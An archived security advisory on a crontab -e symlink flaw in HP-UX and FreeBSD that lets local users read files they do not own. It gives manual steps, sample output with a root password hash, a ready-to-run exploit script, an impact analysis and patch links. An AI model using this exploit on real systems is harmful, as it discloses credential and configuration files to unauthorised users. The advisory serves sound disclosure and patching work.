Vulnerability
crontab
Affected
HpUX 10.20, 11.00, FreeBSD
Description
Following is based on a Hackerslab bug_paper. There is a
vulneribility in "crontab" which allows users to read all files
without attaining root or file ownership privileges.
The "crontab" command can't be run by any user in general however,
users that are registered in crontab.allow are permitted to run
the command.
Using the crontab command with the -e option (crontab -e) excutes
vi editor and a temporary file is created in /var/tmp/. The owner
of the file is a current user.
Make a subshell by using !sh command in vi and link the file
created in /var/tmp/ then exit crontab. Then the error message
appears with all the file names and details.
Example: display the contents of /tcb/files/auth/r/root
$ id
uid=101(dubhe) gid=101(swat)
$uname -s -r
HP-UX B.11.00
$ crontab -e
...
...
~
"/var/tmp/aaaa25923"
### A file named /var/tmp/aaaa25923 is created
~
:!sh
### Make a subshell
$ ln -sf /tcb/files/auth/r/root /var/tmp/aaaa25923
$ exit
### Make symlink and return vi
[Hit return to continue]
:q!
### Quit vi
root:u_name=root:u_id#0:\
crontab: error on previous line; unexpected character found in line.
:u_pwd=Of2wgf6SCoIbQ:\
crontab: error on previous line; unexpected character found in line.
:u_bootauth:u_auditid#0:\
crontab: error on previous line; unexpected character found in line.
:u_auditflag#1:\
crontab: error on previous line; unexpected character found in line.
:u_pswduser=root:u_suclog#972084495:u_unsuclog#972084492:u_lock@:\
crontab: error on previous line; unexpected character found in line.
:chkent:
crontab: error on previous line; unexpected character found in line.
Here's a exploit:
#!/bin/sh
#
# HP-UX 11.00 crontab
#
# Kyong-won,Cho
#
# dubhe@hackerslab.com
#
# Usage : ./crontab.sh <distfile>
#
#
if [ -z "$1" ]
then
echo "Usage : $0 <distfile>"
exit
fi
cat << _EOF_ > /tmp/crontab_exp
#!/bin/sh
ln -sf $1 \$1
_EOF_
chmod 755 /tmp/crontab_exp
EDITOR=/tmp/crontab_exp
export EDITOR
crontab -e 2> /tmp/crontab$$
grep -v "error on previous line" /tmp/crontab$$
rm -f /tmp/crontab_exp /tmp/crontab$$
When tested on
- 4.0-RELEASE FreeBSD 4.0-RELEASE #9
- 4.1-RELEASE FreeBSD 4.1-RELEASE #1:
You can read any file wich start with comment simbol (#):
$ ls -l /etc/sudoers
-r-------- 1 root wheel 313 24 oct 20:20 /etc/sudoers
$ id
uid=1002(alf) gid=1002(alf) groups=1002(alf)
$ crontab -e
~
~
~
/tmp/crontab.hLmjTbK417
:!sh
[ #### Make simbolik link]
> rm /tmp/crontab.hLmjTbK417
> ln -sf /etc/sudoers /tmp/crontab.hLmjTbK417
> exit
[ #### quit vi ]
/tmp/crontab.hLmjTbK417
crontab: installing new crontab
[ #### start crontab editor]
$ crontab -e
[####### See in vi]
# sudoers file.
#
# This file MUST be edited with the 'visudo' command as root.
#
# See the sudoers man page for the details on how to write a sudoers
file.
#
# Host alias specification
# User alias specification
# Cmnd alias specification
# User privilege specification
root ALL=(ALL) ALL
alf ALL=(ALL) ALL
~
~
~
If file started with no # then crontab sad
"/tmp/crontab.GAeNMP1357":2: bad minute
crontab: errors in crontab file, can't install
Dec/Compaq unpatched 4.0d is vulnerable, but it was pointed out to
that 4.0d with recommended patches is not vulnerable. 4.0g is not
vulnerable as well.
FreeBSD 3.3 and FreeBSD 2.2.8 seem to be vulnerable as well.
At least on our version of Vixie Cron, this description appears
to be inaccurate on an initial inspection. Yes, there is a bug,
and a serious one, but the syntax requirements are much stronger
than those that are described above: the file must fully conform
to a valid crontab file specification. I.e., the sample sudoers
file included in the paper will not work in FreeBSD as it
violates crontab formatting specifications; this substantially
limits the impact of this bug for the purposes of acquiring
additional privilege. Off-hand, here are some things that are
*not* readable due to standard formatting of the files:
- /etc/ssh/ssh_host_key
- /etc/ssh/ssh_dsa_host_key
- /etc/ssl/mykey.prv
- /tmp/ssh-GbQ60456/cookies
- /etc/master.passwd
- /etc/spwd.db
- /home/rwatson/.ssh/identity
- /home/rwatson/.netscape/preferences.js
- /home/rwatson/.pgp/secring.skr
- /home/tkt1000
Here are some things that are readable:
- /var/cron/tabs/arbitraryuser
- Files that are entirely commented using '#', optionally with blank lines
- Binary files that start with a # and contain no linefeeds
- Empty files
So in the situations investigated thus far, this cannot be
leveraged to gain additional privielge in a plain vanilla FreeBSD
system, as private keying material in the base system typically
requires a tightly formatted key storage file that necessarily
precludes valid crontab file formatting. It can be use to extract
any keying material from crontab command lines of other users, but
users should not be storing stuff there anyway as generally that
can be extracted using ps. It can be used to read entirely #'d
files which could be an issue in some configurations: for
example, if the administrator added shared secrets to
/etc/ppp/ppp.conf and then commented out the entire file.
Tested against also a Slackware 3.0 = Vulnerable.
Solution
For FreeBSD:
ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-01:09/crontab-4.x.patch
For Debian:
http://security.debian.org/dists/stable/updates/main/source/cron_3.0pl1.orig.tar.gz
http://security.debian.org/dists/stable/updates/main/source/cron_3.0pl1-57.2.diff.gz
http://security.debian.org/dists/stable/updates/main/source/cron_3.0pl1-57.2.dsc
http://security.debian.org/dists/stable/updates/main/binary-i386/cron_3.0pl1-57.2_i386.deb
http://security.debian.org/dists/stable/updates/main/binary-m68k/cron_3.0pl1-57.2_m68k.deb
http://security.debian.org/dists/stable/updates/main/binary-sparc/cron_3.0pl1-57.2_sparc.deb
http://security.debian.org/dists/stable/updates/main/binary-alpha/cron_3.0pl1-57.2_alpha.deb
http://security.debian.org/dists/stable/updates/main/binary-powerpc/cron_3.0pl1-57.2_powerpc.deb
http://security.debian.org/dists/stable/updates/main/binary-arm/cron_3.0pl1-57.2_arm.deb
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH
